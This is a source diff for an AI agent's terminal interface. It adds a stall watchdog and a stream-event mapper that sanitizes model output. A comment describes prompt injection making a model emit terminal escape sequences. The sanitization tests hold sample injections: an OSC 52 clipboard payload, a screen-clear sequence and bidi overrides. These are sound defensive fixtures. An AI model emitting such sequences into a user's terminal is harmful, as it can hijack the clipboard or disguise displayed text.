awaitingResponse: false, + streamingType: "thinking" as const, + } + expect(shouldAbortForStall(thinking)).toBe(true) + expect( + shouldAbortForStall({ ...thinking, lastActivityAt: STALL_TIMEOUT_MS - 1 }), + ).toBe(false) + }) + + test("mid-stream text hang aborts", () => { + expect( + shouldAbortForStall({ + ...base, + awaitingResponse: false, + streamingType: "text", + }), + ).toBe(true) + }) + + test("long tool runs are not stalls", () => { + expect( + shouldAbortForStall({ + ...base, + awaitingResponse: false, + streamingType: "tool", + }), + ).toBe(false) + }) +}) + +describe("applyStallRecovery", () => { + test("aborts then notifies", () => { + const calls: string[] = [] + applyStallRecovery({ + abort: () => calls.push("abort"), + notify: (m) => calls.push(m), + }) + expect(calls).toEqual(["abort", STALL_RECOVERY_MESSAGE]) + }) +}) + +describe("shouldNoticeStall", () => { + const base = { + status: "running" as const, + awaitingResponse: true, + lastActivityAt: 0, + nowMs: STALL_NOTICE_MS, + stallTimeoutMs: STALL_TIMEOUT_MS, + stallNoticeMs: STALL_NOTICE_MS, + isProcessing: true, + streamingType: null, + } + + test("speaks up long before the abort backstop", () => { + expect(STALL_NOTICE_MS).toBeLessThan(STALL_TIMEOUT_MS) + expect(shouldNoticeStall(base)).toBe(true) + expect(shouldAbortForStall(base)).toBe(false) + }) + + test("stays quiet before the notice threshold", () => { + expect(shouldNoticeStall({ ...base, nowMs: STALL_NOTICE_MS - 1 })).toBe(false) + }) + + test("hands over to the abort once the run is aborted", () => { + expect(shouldNoticeStall({ ...base, nowMs: STALL_TIMEOUT_MS })).toBe(false) + }) + + test("a long tool run is not stuck", () => { + expect( + shouldNoticeStall({ + ...base, + awaitingResponse: false, + streamingType: "tool", + }), + ).toBe(false) + }) +}) diff --git a/src/tui-opentui/stall-watchdog.ts b/src/tui-opentui/stall-watchdog.ts new file mode 100644 index 000000000..d51178dfa --- /dev/null +++ b/src/tui-opentui/stall-watchdog.ts @@ -0,0 +1,80 @@ +import type { TurnStatus } from "./session-chrome.js" + +// How long the run can be continuously awaiting a response with no new content +// before the watchdog fires and aborts the in-flight request. +export const STALL_TIMEOUT_MS = 900_000 + +// When the run starts *saying* it looks stuck. Well short of the abort: nobody +// waits out the backstop, they conclude the product hung and quit, so silence +// has to be named long before it is acted on. Notice, not a shorter timeout — +// a slow model or a long tool call is not a stall, and killing it at 90s would +// break working runs to fix a wording problem. +export const STALL_NOTICE_MS = 90_000 + +export type ShouldAbortForStallArgs = { + readonly status: TurnStatus + readonly awaitingResponse: boolean + readonly lastActivityAt: number + readonly nowMs: number + readonly stallTimeoutMs: number + readonly isProcessing: boolean + readonly streamingType: "text" | "thinking" | "tool" | null +} + +/** + * Whether silence of `thresholdMs` counts as stuck at all. Shared by the notice + * and the abort so they never disagree about which runs are stalled — only + * about how long they have been. + */ +function silentPastThreshold( + args: ShouldAbortForStallArgs, + thresholdMs: number, +): boolean { + if (args.status !== "running") return false + if (args.nowMs - args.lastActivityAt < thresholdMs) return false + if (args.awaitingResponse) return true + // Mid-stream hang: model stream stalled after first token. Long in-flight + // tool runs do not emit parent stream events; do not abort those. + return ( + args.isProcessing && + args.streamingType !== null && + args.streamingType !== "tool" + ) +} + +// Pure decision helper: returns true when the run is genuinely stuck and should +// be aborted. Extracted so the timeout logic is unit-testable without timers. +export function shouldAbortForStall(args: ShouldAbortForStallArgs): boolean { + return silentPastThreshold(args, args.stallTimeoutMs) +} + +export type ShouldNoticeStallArgs = ShouldAbortForStallArgs & { + readonly stallNoticeMs: number +} + +/** + * Returns true while the run has been silent long enough to say so but not yet + * long enough to abort. False once the abort takes over, so the two never + * paint at the same time. + */ +export function shouldNoticeStall(args: ShouldNoticeStallArgs): boolean { + if (shouldAbortForStall(args)) return false + return silentPastThreshold(args, args.stallNoticeMs) +} + +/** Shown while the run is silent; names the state and the way out. */ +export const STALL_NOTICE_MESSAGE = "no response for a while — ctrl+c to interrupt" + +export const STALL_RECOVERY_MESSAGE = + "stopped after no response — send again to retry" + +export type ApplyStallRecoveryDeps = { + /** Abort the in-flight run through the session port. */ + readonly abort: () => void + readonly notify: (message: string) => void +} + +export function applyStallRecovery(deps: ApplyStallRecoveryDeps): void { + deps.abort() + deps.notify(STALL_RECOVERY_MESSAGE) +} diff --git a/src/tui-opentui/stream-event-map.test.ts b/src/tui-opentui/stream-event-map.test.ts new file mode 100644 index 000000000..f237a2e26 --- /dev/null +++ b/src/tui-opentui/stream-event-map.test.ts @@ -0,0 +1,353 @@ +import { describe, expect, test } from "bun:test" +import { + createStreamMapContext, + mapProductionEvent, + mapProductionSequence, + mapReactorLike, +} from "./stream-event-map.js" + +describe("mapProductionEvent", () => { + test("message.received → user text", () => { + expect( + mapProductionEvent({ + type: "message.received", + data: { message: { content: "hello" } }, + }), + ).toEqual([{ type: "user", text: "hello" }]) + }) + + test("inference.start → busy run", () => { + expect(mapProductionEvent({ type: "inference.start" })).toEqual([ + { type: "attempt", action: "mark" }, + { type: "run", state: "busy" }, + ]) + }) + + test("text deltas stream as assistant.delta", () => { + const ctx = createStreamMapContext() + expect( + mapProductionEvent( + { type: "inference.text.delta", data: { token: "Hi" } }, + ctx, + ), + ).toEqual([{ type: "assistant.delta", text: "Hi" }]) + expect( + mapProductionEvent( + { type: "inference.text.delta", data: { token: "!" } }, + ctx, + ), + ).toEqual([{ type: "assistant.delta", text: "!" }]) + }) + + test("tool_call.start+end paints once with args (stateful)", () => { + const ctx = createStreamMapContext() + expect( + mapProductionEvent( + { + type: "inference.tool_call.start", + data: { name: "read_file", callId: "c1" }, + }, + ctx, + ), + ).toEqual([]) + expect( + mapProductionEvent( + { + type: "inference.tool_call.end", + data: { + name: "read_file", + callId: "c1", + arguments: { path: "a.ts" }, + }, + }, + ctx, + ), + ).toEqual([ + { + type: "tool_call", + name: "read_file", + detail: JSON.stringify({ path: "a.ts" }), + callId: "c1", + }, + ]) + }) + + test("tool.done → tool_result + tool.boundary", () => { + const out = mapProductionEvent({ + type: "tool.done", + data: { + result: { + name: "read_file", + content: "ok", + isError: false, + }, + }, + }) + expect(out).toEqual([ + { type: "tool_result", name: "read_file", detail: "ok" }, + { type: "tool.boundary" }, + ]) + }) + + test("reactor.done → idle + boundary", () => { + expect(mapProductionEvent({ type: "reactor.done" })).toEqual([ + { type: "run", state: "idle" }, + { type: "tool.boundary" }, + ]) + }) + + test("connector.reply after deltas is skipped (already painted)", () => { + const ctx = createStreamMapContext() + mapProductionEvent( + { type: "inference.text.delta", data: { token: "partial" } }, + ctx, + ) + expect( + mapProductionEvent( + { type: "connector.reply", data: { content: "final answer" } }, + ctx, + ), + ).toEqual([]) + }) + + test("connector.reply without prior deltas becomes assistant", () => { + expect( + mapProductionEvent({ + type: "connector.reply", + data: { content: "final answer" }, + }), + ).toEqual([{ type: "assistant", text: "final answer" }]) + }) + + test("empty user content ignored", () => { + expect( + mapProductionEvent({ + type: "message.received", + data: { message: { content: " " } }, + }), + ).toEqual([]) + }) + + test("mapReactorLike matches stateless mapProductionEvent", () => { + const ev = { type: "inference.start" as const } + expect(mapReactorLike(ev)).toEqual(mapProductionEvent(ev)) + }) + + test("mapProductionSequence folds context across events", () => { + const out = mapProductionSequence([ + { type: "inference.start" }, + { + type: "inference.tool_call.start", + data: { name: "grep", callId: "t1" }, + }, + { + type: "inference.tool_call.end", + data: { name: "grep", callId: "t1", arguments: { q: "x" } }, + }, + { + type: "tool.done", + data: { result: { callId: "t1", name: "grep", content: "hits" } }, + }, + { type: "reactor.done" }, + ]) + expect(out.map((e) => e.type)).toEqual([ + "attempt", + "run", + "tool_call", + "tool_result", + "tool.boundary", + "attempt", + "run", + "tool.boundary", + ]) + }) +}) + +describe("stream sanitization", () => { + const textDelta = (token: string) => ({ + type: "inference.text.delta", + data: { token }, + }) + const joined = (events: readonly { type: string; data?: unknown }[]) => + mapProductionSequence(events) + .filter((e) => e.type === "assistant.delta" || e.type === "thinking.delta") + .map((e) => (e as { text: string }).text) + .join("") + + test("strips an escape sequence contained in one delta", () => { + expect( + joined([textDelta("hi \x1b[31mred\x1b[0m"), { type: "reactor.done" }]), + ).toBe("hi red") + }) + + test("strips a CSI sequence split across two deltas", () => { + expect( + joined([ + textDelta("hi \x1b["), + textDelta("31mred"), + { type: "reactor.done" }, + ]), + ).toBe("hi red") + }) + + test("strips an OSC 52 payload split across three deltas", () => { + expect( + joined([ + textDelta("a\x1b]52;c;"), + textDelta("ZXZpbA=="), + textDelta("\x07b"), + { type: "reactor.done" }, + ]), + ).toBe("ab") + }) + + test("strips bidi overrides from thinking deltas", () => { + expect( + joined([ + { + type: "inference.thinking.delta", + data: { token: "safe\u202eevil\u202c" }, + }, + { type: "reactor.done" }, + ]), + ).toBe("safeevil") + }) + + test("keeps markdown syntax and an emoji split across deltas", () => { + const rocket = "\u{1f680}" + expect( + joined([ + textDelta("**bold** `code` [x](y) " + rocket.slice(0, 1)), + textDelta(rocket.slice(1) + " done"), + { type: "reactor.done" }, + ]), + ).toBe(`**bold** \`code\` [x](y) ${rocket} done`) + }) + + test("drops a partial sequence still held when the burst ends", () => { + const ctx = createStreamMapContext() + expect(mapProductionEvent(textDelta("x\x1b["), ctx)).toEqual([ + { type: "assistant.delta", text: "x" }, + ]) + expect( + mapProductionEvent({ type: "reactor.done" }, ctx).map((e) => e.type), + ).toEqual(["run", "tool.boundary"]) + }) + + test("sanitizes non-streamed connector replies", () => { + expect( + mapProductionEvent({ + type: "connector.reply", + data: { content: "ok\x1b[2Jgone" }, + }), + ).toEqual([{ type: "assistant", text: "okgone" }]) + }) +}) + +describe("inference.retry", () => { + const actions = (events: readonly { type: string }[]) => + events + .filter((e): e is { type: "attempt"; action: string } => e.type === "attempt") + .map((e) => e.action) + + test("a harness pre-commit retry retracts nothing", () => { + const ctx = createStreamMapContext() + expect( + mapProductionEvent({ type: "inference.retry", data: { attempt: 1 } }, ctx), + ).toEqual([]) + }) + + test("a committed retry after a streamed attempt rolls back", () => { + const out = mapProductionSequence([ + { type: "inference.start" }, + { type: "inference.text.delta", data: { token: "partial" } }, + { type: "inference.retry", data: { attempt: 1 } }, + { type: "inference.start" }, + ]) + expect(actions(out)).toEqual(["mark", "rollback", "mark"]) + }) + + test("a committed retry consumes the boundary handed off by inference.error", () => { + const out = mapProductionSequence([ + { type: "inference.start" }, + { type: "inference.text.delta", data: { token: "partial" } }, + { type: "inference.error", data: { error: { message: "rate limited" } } }, + { type: "inference.retry", data: { attempt: 1 } }, + ]) + expect(actions(out)).toEqual(["mark", "rollback"]) + }) + + test("a settled cycle disarms, so the next cycle's pre-commit retry is inert", () => { + const out = mapProductionSequence([ + { type: "inference.start" }, + { type: "inference.text.delta", data: { token: "answer" } }, + { type: "inference.done" }, + { type: "inference.retry", data: { attempt: 1 } }, + ]) + expect(actions(out)).toEqual(["mark", "clear"]) + }) + + test("any event other than the retry expires the error handoff", () => { + const out = mapProductionSequence([ + { type: "inference.start" }, + { type: "inference.text.delta", data: { token: "partial" } }, + { type: "inference.error", data: { error: { message: "fatal" } } }, + { type: "message.received", data: { message: { content: "next" } } }, + { type: "inference.retry", data: { attempt: 1 } }, + ]) + expect(actions(out)).toEqual(["mark", "clear"]) + }) + + test("a user message disarms so a retry can never erase it", () => { + const out = mapProductionSequence([ + { type: "inference.start" }, + { type: "message.received", data: { message: { content: "steer" } } }, + { type: "inference.retry", data: { attempt: 1 } }, + ]) + expect(actions(out)).toEqual(["mark", "clear"]) + }) + + test("rollback forgets tool calls the failed attempt opened", () => { + const ctx = createStreamMapContext() + mapProductionSequence( + [ + { type: "inference.start" }, + { + type: "inference.tool_call.end", + data: { name: "bash", callId: "c1", arguments: { command: "ls" } }, + }, + { type: "inference.retry", data: { attempt: 1 } }, + ], + ctx, + ) + expect(ctx.callIdToName.has("c1")).toBe(false) + expect(ctx.emittedToolCalls.has("c1")).toBe(false) + }) +}) + +describe("inference.error text", () => { + const message = (error: unknown) => { + const [event] = mapProductionEvent({ type: "inference.error", data: { error } }) + return event?.type === "error" ? event.message : undefined + } + + test("a classified failure gets its written line, not the provider body", () => { + expect(message({ category: "credential_failure", message: '{"error":{"code":401}}' })).toBe( + "Session expired — re-authenticating…", + ) + expect(message({ category: "quota_exhausted", message: "429" })).toBe( + "Quota exhausted — usage limit reached.", + ) + }) + + test("a context overflow mislabeled as quota is read from the message", () => { + expect( + message({ category: "quota_exhausted", message: "input is too long for this model" }), + ).toContain("Context window full") + }) + + test("an unclassified failure keeps the provider's own words", () => { + expect(message({ message: "socket hang up" })).toBe("socket hang up") + expect(message({ category: "wat", message: "socket hang up" })).toBe("socket hang up") + }) +}) diff --git a/src/tui-opentui/stream-event-map.ts b/src/tui-opentui/stream-event-map.ts new file mode 100644 index 000000000..7eead67e6 --- /dev/null +++ b/src/tui-opentui/stream-event-map.ts @@ -0,0 +1,518 @@ +/** + * Pure production stream/reactor → BridgeInboundEvent mapping. + * + * Covers the event types a normal turn paints (user, assistant deltas, tools, + * attempt boundaries). No renderer / OpenTUI deps — unit-testable. + */ + +import { + splitPendingControlTail, + stripTerminalControlSequences, +} from "../util/control-char-strip.js" +import { inferenceErrorMessage } from "../inference-error-message.js" +import type { RunState } from "./session-queue.js" + +/** Canonical inbound events the bridge understands (fixtures + mapped reactor). */ +export type BridgeInboundEvent = + | { readonly type: "user"; readonly text: string } + | { readonly type: "assistant"; readonly text: string } + | { readonly type: "assistant.delta"; readonly text: string } + | { readonly type: "thinking.delta"; readonly text: string } + | { + readonly type: "tool_call" + readonly name: string + readonly detail?: string + /** Runtime call id, when the source event carried one. */ + readonly callId?: string + } + | { + readonly type: "tool_result" + readonly name: string + readonly detail?: string + readonly isError?: boolean + /** Call this result answers — how a result finds the row it resolves. */ + readonly callId?: string + } + | { readonly type: "system"; readonly text: string } + | { readonly type: "run"; readonly state: RunState } + | { readonly type: "tool.boundary" } + | { readonly type: "error"; readonly message: string } + /** + * Attempt-boundary bookkeeping for retries. `mark` records where the current + * inference attempt's rows begin, `clear` disarms that boundary once the + * attempt has settled, and `rollback` retracts everything painted since it. + * The mapper decides *when*; the consumer owns the row index. + */ + | { + readonly type: "attempt" + readonly action: "mark" | "clear" | "rollback" + } + +/** Loose reactor-shaped event (no hard dep on @intx/inference). */ +export type ReactorLikeEvent = { + readonly type: string + readonly data?: unknown + readonly seq?: number +} + +/** + * Reactor / stream types that are not bridge-native and must go through the + * production mapper (avoids collisions like tool.done vs bridge tool_result). + */ +export const PRODUCTION_REACTOR_TYPES: ReadonlySet = new Set([ + "message.received", + "inference.start", + "inference.done", + "inference.retry", + "inference.text.delta", + "inference.thinking.delta", + "inference.tool_call.start", + "inference.tool_call.delta", + "inference.tool_call.end", + "tool.start", + "tool.done", + "connector.reply", + "reactor.done", + "reactor.error", + "inference.error", +]) + +/** Optional session bookkeeping so tool.done can resolve the name of its call. */ +export type StreamMapContext = { + readonly callIdToName: Map + readonly callIdToArgs: Map + /** callIds that already painted a tool_call row (avoid start/end doubles). */ + readonly emittedToolCalls: Set + /** True after text deltas in the current assistant burst (skip connector.reply paint). */ + hadTextDelta: boolean + /** Trailing fragment of a possibly-incomplete escape sequence, per channel. */ + readonly pendingDelta: { assistant: string; thinking: string } + /** + * True between an `inference.start` and the event that settles its cycle. + * `inference.retry` has two producers with opposite meanings, told apart by + * ordering: the harness emits it for a pre-commit retry, before the cycle's + * `inference.start`, when the failed attempt streamed nothing and there is + * nothing to retract. The reactor emits it after a committed attempt failed + * and is about to re-stream what it already painted. Only a retry arriving + * while this is armed retracts. + */ + attemptArmed: boolean + /** Tool calls already known when the current attempt started. */ + attemptCallIds: Set + /** + * A committed attempt can also end in `inference.error` with no + * `inference.done`, and the reactor's committed-retry follows that error + * immediately. The boundary must not stay armed across a terminal error, so + * the error hands it off here: the very next event either is the retry that + * consumes it, or expires it. + */ + errorRollbackArmed: boolean +} + +export function createStreamMapContext(): StreamMapContext { + return { + callIdToName: new Map(), + callIdToArgs: new Map(), + emittedToolCalls: new Set(), + hadTextDelta: false, + pendingDelta: { assistant: "", thinking: "" }, + attemptArmed: false, + attemptCallIds: new Set(), + errorRollbackArmed: false, + } +} + +const ATTEMPT_MARK: BridgeInboundEvent = { type: "attempt", action: "mark" } +const ATTEMPT_CLEAR: BridgeInboundEvent = { type: "attempt", action: "clear" } +const ATTEMPT_ROLLBACK: BridgeInboundEvent = { + type: "attempt", + action: "rollback", +} + +/** Disarm the attempt boundary, emitting the consumer-visible clear if it was armed. */ +function disarmAttempt( + ctx: StreamMapContext | undefined, +): readonly BridgeInboundEvent[] { + if (!ctx || !ctx.attemptArmed) return [] + ctx.attemptArmed = false + return [ATTEMPT_CLEAR] +} + +type DeltaChannel = "assistant" | "thinking" + +const DELTA_EVENT_TYPE: Record = { + assistant: "assistant.delta", + thinking: "thinking.delta", +} + +/** + * Model output is attacker-influenceable: a prompt injection can make the model + * reproduce an escape sequence in its own reply, which never passes the + * tool-dispatch sanitizer. Deltas arrive in fragments, so a sequence can + * straddle a boundary — the trailing partial is held in the map context and + * joined to the next fragment rather than sanitized in isolation. + */ +function sanitizeDelta( + ctx: StreamMapContext | undefined, + channel: DeltaChannel, + token: string, +): string { + if (!ctx) return stripTerminalControlSequences(token) + const [head, tail] = splitPendingControlTail(ctx.pendingDelta[channel] + token) + ctx.pendingDelta[channel] = tail + return stripTerminalControlSequences(head) +} + +/** + * Held fragments must still reach the screen once the burst ends. What is + * still incomplete at that point never became a real sequence, so it is + * discarded rather than painted with its introducer bytes shaved off. + */ +function flushDelta( + ctx: StreamMapContext | undefined, + channel: DeltaChannel, +): readonly BridgeInboundEvent[] { + if (!ctx || ctx.pendingDelta[channel].length === 0) return [] + const [complete] = splitPendingControlTail(ctx.pendingDelta[channel]) + const text = stripTerminalControlSequences(complete) + ctx.pendingDelta[channel] = "" + if (text.length === 0) return [] + return [{ type: DELTA_EVENT_TYPE[channel], text } as BridgeInboundEvent] +} + +function asRecord(value: unknown): Record | undefined { + if (value !== null && typeof value === "object" && !Array.isArray(value)) { + return value as Record + } + return undefined +} + +function dataOf(event: ReactorLikeEvent): Record { + return asRecord(event.data) ?? {} +} + +function stringifyDetail(value: unknown): string | undefined { + if (value === undefined || value === null) return undefined + if (typeof value === "string") return value.length > 0 ? value : undefined + try { + const s = JSON.stringify(value) + return s.length > 0 ? s : undefined + } catch { + return String(value) + } +} + +function trackCall( + ctx: StreamMapContext | undefined, + callId: string | undefined, + name: string | undefined, + args?: unknown, +): void { + if (!ctx || !callId) return + if (name && name.length > 0) ctx.callIdToName.set(callId, name) + if (args !== undefined) { + const detail = stringifyDetail(args) + if (detail !== undefined) ctx.callIdToArgs.set(callId, detail) + } +} + +function resolveToolName( + ctx: StreamMapContext | undefined, + callId: string | undefined, + explicit: string | undefined, +): string { + if (explicit && explicit.length > 0) return explicit + if (ctx && callId) { + const tracked = ctx.callIdToName.get(callId) + if (tracked) return tracked + } + if (callId && callId.length > 0) return callId + return "tool" +} + +function toolCallEvent( + name: string, + detail: string | undefined, + callId?: string, +): BridgeInboundEvent { + return { + type: "tool_call", + name, + ...(detail !== undefined ? { detail } : {}), + ...(callId !== undefined ? { callId } : {}), + } +} + +/** + * Map one production-shaped reactor/stream event into zero or more bridge events. + * + * A `ctx` carries the cross-event bookkeeping: callId→name resolution for a + * tool.done without result.name, retry boundaries, and the suppressions that + * keep one paint per thing (connector.reply after deltas, no double tool_call). + * Stateless calls remain safe for fixtures and simple unit tests. + */ +export function mapProductionEvent( + event: ReactorLikeEvent, + ctx?: StreamMapContext, +): readonly BridgeInboundEvent[] { + const flushed: BridgeInboundEvent[] = [] + if (event.type !== "inference.text.delta") { + flushed.push(...flushDelta(ctx, "assistant")) + } + if (event.type !== "inference.thinking.delta") { + flushed.push(...flushDelta(ctx, "thinking")) + } + // The error handoff only survives to the very next event; consume it here so + // anything other than the retry it was meant for expires the boundary. + const handoff = ctx?.errorRollbackArmed === true + if (ctx) ctx.errorRollbackArmed = false + const expired = + handoff && event.type !== "inference.retry" ? [ATTEMPT_CLEAR] : [] + const mapped = mapEvent(event, ctx, handoff) + return [...flushed, ...expired, ...mapped] +} + +function mapEvent( + event: ReactorLikeEvent, + ctx?: StreamMapContext, + errorRollbackHandoff = false, +): readonly BridgeInboundEvent[] { + const { type } = event + const data = dataOf(event) + + switch (type) { + case "message.received": { + const message = asRecord(data.message) + const content = + typeof message?.content === "string" ? message.content : "" + const attachments = Array.isArray(message?.attachments) + ? (message.attachments as Array<{ name?: string }>) + : [] + const attachmentText = + attachments.length > 0 + ? `\n[Attached ${attachments.length} image${attachments.length === 1 ? "" : "s"}: ${attachments.map((a) => a.name ?? "image").join(", ")}]` + : "" + const full = `${content}${attachmentText}` + // The boundary must never straddle a user row: a later retry retracting + // across it would erase the operator's own message. + const disarmed = disarmAttempt(ctx) + if (full.trim().length === 0) return disarmed + return [...disarmed, { type: "user", text: full }] + } + + case "inference.start": + if (ctx) { + ctx.hadTextDelta = false + ctx.attemptArmed = true + ctx.attemptCallIds = new Set(ctx.callIdToName.keys()) + } + return [ATTEMPT_MARK, { type: "run", state: "busy" }] + + case "inference.done": + // Cycle settled: disarm so a pre-commit retry belonging to the *next* + // cycle cannot retract this one's rows. + return disarmAttempt(ctx) + + case "inference.retry": { + const armed = ctx?.attemptArmed === true + if (ctx) ctx.attemptArmed = false + // A retry that arrives with nothing armed is the harness's pre-commit + // kind: the failed attempt never streamed, so there is nothing to undo. + if (!armed && !errorRollbackHandoff) return [] + if (ctx) { + for (const callId of [...ctx.callIdToName.keys()]) { + if (ctx.attemptCallIds.has(callId)) continue + ctx.callIdToName.delete(callId) + ctx.callIdToArgs.delete(callId) + ctx.emittedToolCalls.delete(callId) + } + ctx.hadTextDelta = false + ctx.pendingDelta.assistant = "" + ctx.pendingDelta.thinking = "" + } + return [ATTEMPT_ROLLBACK] + } + + case "inference.text.delta": { + const token = typeof data.token === "string" ? data.token : "" + if (token.length === 0) return [] + if (ctx) ctx.hadTextDelta = true + const text = sanitizeDelta(ctx, "assistant", token) + if (text.length === 0) return [] + return [{ type: "assistant.delta", text }] + } + + case "inference.thinking.delta": { + // Chain-of-thought is not transcript content: it coalesces into its own + // dim "thinking" row rather than interleaving with system chrome. + const token = typeof data.token === "string" ? data.token : "" + if (token.length === 0) return [] + const text = sanitizeDelta(ctx, "thinking", token) + if (text.length === 0) return [] + return [{ type: "thinking.delta", text }] + } + + case "inference.tool_call.start": { + const name = typeof data.name === "string" ? data.name : "tool" + const callId = typeof data.callId === "string" ? data.callId : undefined + trackCall(ctx, callId, name) + // Prefer painting at end with final arguments; early start is tracking only + // when we have a callId. Without callId, emit immediately. + if (ctx && callId) return [] + return [toolCallEvent(name, undefined, callId)] + } + + case "inference.tool_call.delta": { + const fragment = + typeof data.argumentFragment === "string" ? data.argumentFragment : "" + const callId = typeof data.callId === "string" ? data.callId : undefined + if (ctx && callId && fragment.length > 0) { + const prev = ctx.callIdToArgs.get(callId) ?? "" + ctx.callIdToArgs.set(callId, prev + fragment) + } + // Deltas coalesce into the final tool_call at end — no intermediate rows. + return [] + } + + case "inference.tool_call.end": { + const name = typeof data.name === "string" ? data.name : "tool" + const callId = typeof data.callId === "string" ? data.callId : undefined + const streamed = + ctx && callId ? ctx.callIdToArgs.get(callId) : undefined + const detail = + data.arguments !== undefined + ? stringifyDetail(data.arguments) + : streamed + trackCall(ctx, callId, name, data.arguments !== undefined ? data.arguments : streamed) + if (ctx && callId) ctx.emittedToolCalls.add(callId) + return [toolCallEvent(name, detail, callId)] + } + + case "tool.start": { + const call = asRecord(data.call) + const name = + typeof call?.name === "string" ? call.name : "tool" + const callId = + typeof call?.id === "string" + ? call.id + : typeof call?.callId === "string" + ? call.callId + : undefined + trackCall(ctx, callId, name) + // tool.start opens no row of its own; skip if tool_call already painted. + if (ctx && callId && ctx.emittedToolCalls.has(callId)) return [] + if (ctx && callId) ctx.emittedToolCalls.add(callId) + return [toolCallEvent(name, undefined, callId)] + } + + case "tool.done": { + const result = asRecord(data.result) + const callId = + typeof result?.callId === "string" ? result.callId : undefined + const explicitName = + typeof result?.name === "string" ? result.name : undefined + const name = resolveToolName(ctx, callId, explicitName) + const detail = stringifyDetail(result?.content) + const isError = result?.isError === true + if (ctx && callId) { + ctx.callIdToName.delete(callId) + ctx.callIdToArgs.delete(callId) + ctx.emittedToolCalls.delete(callId) + } + const out: BridgeInboundEvent = { + type: "tool_result", + name, + ...(detail !== undefined ? { detail } : {}), + ...(isError ? { isError: true } : {}), + ...(callId !== undefined ? { callId } : {}), + } + return [out, { type: "tool.boundary" }] + } + + case "connector.reply": { + const content = typeof data.content === "string" ? data.content : "" + if (ctx?.hadTextDelta) { + ctx.hadTextDelta = false + // Text already painted via assistant.delta; the reply would repeat it. + return [] + } + if (content.trim().length === 0) return [] + return [{ type: "assistant", text: stripTerminalControlSequences(content) }] + } + + case "reactor.done": + if (ctx) ctx.hadTextDelta = false + return [ + ...disarmAttempt(ctx), + { type: "run", state: "idle" }, + { type: "tool.boundary" }, + ] + + case "reactor.error": { + const error = + typeof data.error === "string" ? data.error : "reactor error" + if (ctx) ctx.hadTextDelta = false + return [ + ...disarmAttempt(ctx), + { type: "error", message: error }, + { type: "run", state: "idle" }, + ] + } + + case "inference.error": { + const err = asRecord(data.error) + const rawMessage = + typeof err?.message === "string" + ? err.message + : typeof data.error === "string" + ? data.error + : "inference error" + // A classified failure gets the line written for it; anything unclassified + // keeps the provider's own words rather than a generic stand-in. + const message = + typeof err?.category === "string" + ? inferenceErrorMessage({ + category: err.category, + message: rawMessage, + ...(typeof err.statusCode === "number" + ? { statusCode: err.statusCode } + : {}), + ...(err.raw !== undefined ? { raw: err.raw } : {}), + }) + : rawMessage + // Hand the armed boundary to the next event rather than disarming: the + // reactor's committed-retry follows this error and must still retract + // the failed attempt, including the error row painted here. + if (ctx?.attemptArmed === true) { + ctx.attemptArmed = false + ctx.errorRollbackArmed = true + } + return [{ type: "error", message }] + } + + default: + return [] + } +} + +/** + * Stateless reactor → bridge map (fixture-friendly). Prefer + * `mapProductionEvent(event, ctx)` for live sessions. + */ +export function mapReactorLike( + event: ReactorLikeEvent, +): readonly BridgeInboundEvent[] { + return mapProductionEvent(event) +} + +/** Fold a sequence of production events through a shared map context. */ +export function mapProductionSequence( + events: readonly ReactorLikeEvent[], + ctx: StreamMapContext = createStreamMapContext(), +): BridgeInboundEvent[] { + const out: BridgeInboundEvent[] = [] + for (const event of events) { + out.push(...mapProductionEvent(event, ctx)) + } + return out +} diff --git a/src/tui-opentui/stream.test.ts b/src/tui-opentui/stream.test.ts new file mode 100644 index 000000000..3cc39dd67 --- /dev/null +++ b/src/tui-opentui/stream.test.ts @@ -0,0 +1,370 @@ +import { describe, expect, test } from "bun:test" +import { stringWidth } from "../tui/view/height" +import { + agentVoicesIn, + blockLabel, + isCollapsibleRow, + isMultiAgent, + paintStreamRow, + rowGroupGap, + streamRowGutter, + toolRowLines, + toolSentenceLines, + type RowLayout, + type StreamRow, +} from "./stream" +import { toolCallRow } from "./diff" +import { toolResultRow } from "./mcp-view" +import { mergeToolRows } from "./tool-rows" +import { UI } from "./theme" + +const SOLO: RowLayout = { width: 56, multiAgent: false } +const CREW: RowLayout = { width: 56, multiAgent: true } + +const lines = (row: StreamRow, layout: RowLayout = SOLO): string[] => + paintStreamRow(row, layout).content.split("\n") + +describe("stream paint", () => { + test("one voice needs no labels: the operator is found by the bar", () => { + const you = lines({ role: "user", text: "hi" })[0] as string + const agent = lines({ role: "assistant", text: "hello" })[0] as string + + expect(you).not.toContain("you") + expect(agent).not.toContain("agent") + expect(agent.startsWith("hello")).toBe(true) + expect(you.startsWith("▍")).toBe(true) + expect(you.trimEnd().endsWith("hi")).toBe(true) + }) + + test("the operator's bubble starts on the transcript's first column", () => { + for (const width of [40, 56, 100]) { + const painted = lines( + { role: "user", text: "find the legacy token before the release" }, + { width, multiAgent: false }, + ) + for (const line of painted) { + expect(line.indexOf("▍")).toBe(0) + expect(stringWidth(line)).toBeLessThanOrEqual(width) + } + } + }) + + test("a long operator message wraps as one left-aligned block", () => { + const text = + "please find every call site of the legacy token helper and tell me which of them still run in production" + for (const width of [40, 56, 80, 120]) { + const painted = lines({ role: "user", text }, { width, multiAgent: false }) + expect(painted.length).toBeGreaterThan(1) + // One rectangle: every line's bar sits on the same column. + const bars = new Set(painted.map((line) => line.indexOf("▍"))) + expect(bars.size).toBe(1) + for (const line of painted) expect(stringWidth(line)).toBeLessThanOrEqual(width) + } + }) + + test("both human voices keep the cream; nothing paints a gray", () => { + const rows: readonly StreamRow[] = [ + { role: "user", text: "x" }, + { role: "assistant", text: "x" }, + { role: "tool", text: "x", meta: "bash" }, + { role: "system", text: "x" }, + ] + const [you, agent] = rows.map((row) => paintStreamRow(row, SOLO).fg) + expect(you).toBe(UI.text) + expect(agent).toBe(UI.text) + for (const row of rows) { + const fg = paintStreamRow(row, SOLO).fg + const [r, g, b] = [1, 3, 5].map((i) => + Number.parseInt(fg.slice(i, i + 2), 16), + ) as [number, number, number] + expect(Math.max(r, g, b) - Math.min(r, g, b)).toBeGreaterThan(8) + } + }) + + test("tool rows share a result column regardless of tool name", () => { + const short = lines({ role: "tool", text: "ok", meta: "ls" })[0] as string + const long = lines({ role: "tool", text: "ok", meta: "read_file" })[0] as string + expect(short.indexOf("ok")).toBe(long.indexOf("ok")) + }) + + test("a tool row leads with one success marker, not a per-type glyph", () => { + const names = ["read_file", "write_file", "grep", "bash", "web_fetch", "task"] + const rows = names.map((name) => lines({ role: "tool", text: "x", meta: name })[0] as string) + // Every row leads with the same mark regardless of tool name. + expect(new Set(rows.map((row) => row[0])).size).toBe(1) + expect(rows[0]?.startsWith("✓")).toBe(true) + }) + + test("an answered call is one row, with no continuation beneath it", () => { + 